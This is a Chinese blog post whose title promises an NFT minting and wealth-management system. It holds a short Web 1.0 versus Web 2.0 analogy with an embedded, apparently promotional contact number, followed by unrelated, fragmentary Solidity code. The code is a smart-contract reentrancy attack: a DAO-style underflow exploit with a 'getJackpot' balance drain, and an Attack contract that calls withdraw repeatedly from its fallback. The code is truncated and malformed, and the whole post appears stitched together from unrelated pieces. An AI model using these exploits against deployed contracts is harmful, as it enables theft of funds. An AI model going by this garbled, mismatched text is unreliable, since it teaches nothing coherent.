NFT鑄造理財系統開發技術講解方案

caiayu1234發表於2023-04-11

準確比較Web 1.0與Web 2.0的方法是類比。假設有人遞給你一本書供你閱讀。你讀了它,但你不能改變它的任何單詞。這就是Web 1.0的樣子。另一方面,如果有人給你一本不同的書和一支紅色的編輯鉛筆,並告訴你不僅可以閱讀這本書,還可以使用鉛筆對其進行更改或新增,那麼這就是Web 2.0。I88智慧合約I928系統開發8024

  

  所以,Web 1.0的資訊不能修改,而Web 2.0的資訊可以。Web 1.0是具有線性資訊的靜態Web,Web 2.0是包含非線性資訊的動態Web。線性資訊被定義為必須以傳統的直線格式從頭到尾閱讀的文字。另一方面,非線性則沒有這樣的限制,可以按照讀者希望的任何順序閱讀。

  

  Web 1.0是Web的靜態形式,而Web 2.0是動態實體。然後我們將Web 3.0重新加入其中,看看它如何將使用者體驗提升到一個新的水平。

  

  /*donate 1 wei,withdraw 1 wei*/

  

  function attack(){

  

  dao.donate.value(1)(this);

  

  dao.withdraw(1);

  

  }

  

  /*fallback function,results in 0–1=2**256*/

  

  function(){

  

  if(performAttack){

  

  performAttack=false;

  

  dao.withdraw(1);

  

  }

  

  }

  

  /*extract balance from smart contract*/

  

  function getJackpot(){

  

  dao.withdraw(dao.balance);

  

  owner.send(this.balance);

  

  }

  

  }

  

  e Fund{

  

  function withdraw()external;

  

  }

  

  contract Attack{

  

  address payable owner;

  

  constructor(){

  

  owner=payable(msg.sender);

  

  }

  

  function attck(address addr)public{

  

  Fund f=Fund(addr);

  

  f.withdraw();

  

  }

  

  fallback()external payable{

  

  Fund f=Fund(msg.sender);

  

  f.withdraw();

  

  }

  

  }


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69973864/viewspace-2944917/,如需轉載,請註明出處,否則將追究法律責任。

相關文章